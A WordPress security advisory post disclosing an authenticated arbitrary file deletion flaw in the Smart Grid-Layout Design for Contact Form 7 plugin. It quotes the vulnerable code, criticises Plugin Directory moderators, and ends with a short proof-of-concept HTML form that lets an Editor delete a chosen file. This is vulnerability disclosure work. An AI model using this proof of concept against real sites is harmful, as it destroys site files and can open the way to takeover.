Authenticated Arbitrary File Deletion Vulnerability in Smart Grid-Layout Design for Contact Form 7
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a less serious variant of one of those vulnerabilities, an authenticated arbitrary file deletion vulnerability, in the plugin Smart Grid-Layout Design for Contact Form 7 (CF7 Smart Grid Design Extension).
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
Authenticated Arbitrary File Upload
The plugin contains two lines that delete arbitrary files specified by POST input:
1028 | if( !unlink(ABSPATH.$_POST['cf7sg_prev_js_file']) ) debug_msg('CF7SG ADMIN: unable to delete file '.$_POST['cf7sg_prev_js_file']); |
1039 | if( !unlink(ABSPATH.$_POST['cf7sg_prev_css_file']) ) debug_msg('CF7SG ADMIN: unable to delete file '.$_POST['cf7sg_prev_css_file']); |
In both cases, the code that runs directly before that doesn’t provide any security checks. Here is how that looks for the first of those:
1025 1026 1027 1028 | if(!empty($_POST['cf7sg_js_file'])){ //check if the file name is changed. if(!empty($_POST['cf7sg_prev_js_file']) && file_exists(ABSPATH. $_POST['cf7sg_prev_js_file'])){ if( !unlink(ABSPATH.$_POST['cf7sg_prev_js_file']) ) debug_msg('CF7SG ADMIN: unable to delete file '.$_POST['cf7sg_prev_js_file']); |
That code exists in the function save_post() in the file /admin/class-cf7-grid-layout-admin.php, which contains the following comments above it:
870 871 | * Save cf7 post using ajax * Hooked to 'save_post_wpcf7_contact_form' |
That indicates that the function runs when saving changes to contact form created by Contact Form 7. That normally is only possible by Editor and Administrator users, though lower-level roles can be provided access. It wouldn’t be a vulnerability for an Administrator to delete arbitrary files, but it would be for an Editor. As the proof of concept below confirms, that is exploitable by a logged in Editor.
There is a check for a valid nonce in the function save_post(), so there isn’t an issue with cross-site request forgery (CSRF).
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that. Other data providers often fail to really determine if the vulnerability has been fixed.
Proof of Concept
The following proof of concept will delete the test.txt in the root directory of WordPress.
Replace “[path to WordPress]” with the location of WordPress and ‘[_wpnonce]’, ‘[post_ID]’, and ‘[_wpcf7nonce]’ with the relevant values from the source code of the page to edit a Contact Form 7 contact form.
<html> <body> <form action="http://[path to WordPress]/wp-admin/post.php" method="POST"> <input type="hidden" name="_wpnonce" value="[_wpnonce]" /> <input type="hidden" name="_wpcf7nonce" value="[_wpcf7nonce]" /> <input type="hidden" name="action" value="editpost" /> <input type="hidden" name="post_type" value="wpcf7_contact_form" /> <input type="hidden" name="post_ID" value="[post_ID]" /> <input type="hidden" name="cf7sg_js_file" value="test" /> <input type="hidden" name="cf7sg_prev_js_file" value="test.txt" /> <input type="submit" value="Submit" /> </form> </body>
Just came across this post, I am the author of the plugin and will fix this issue asap.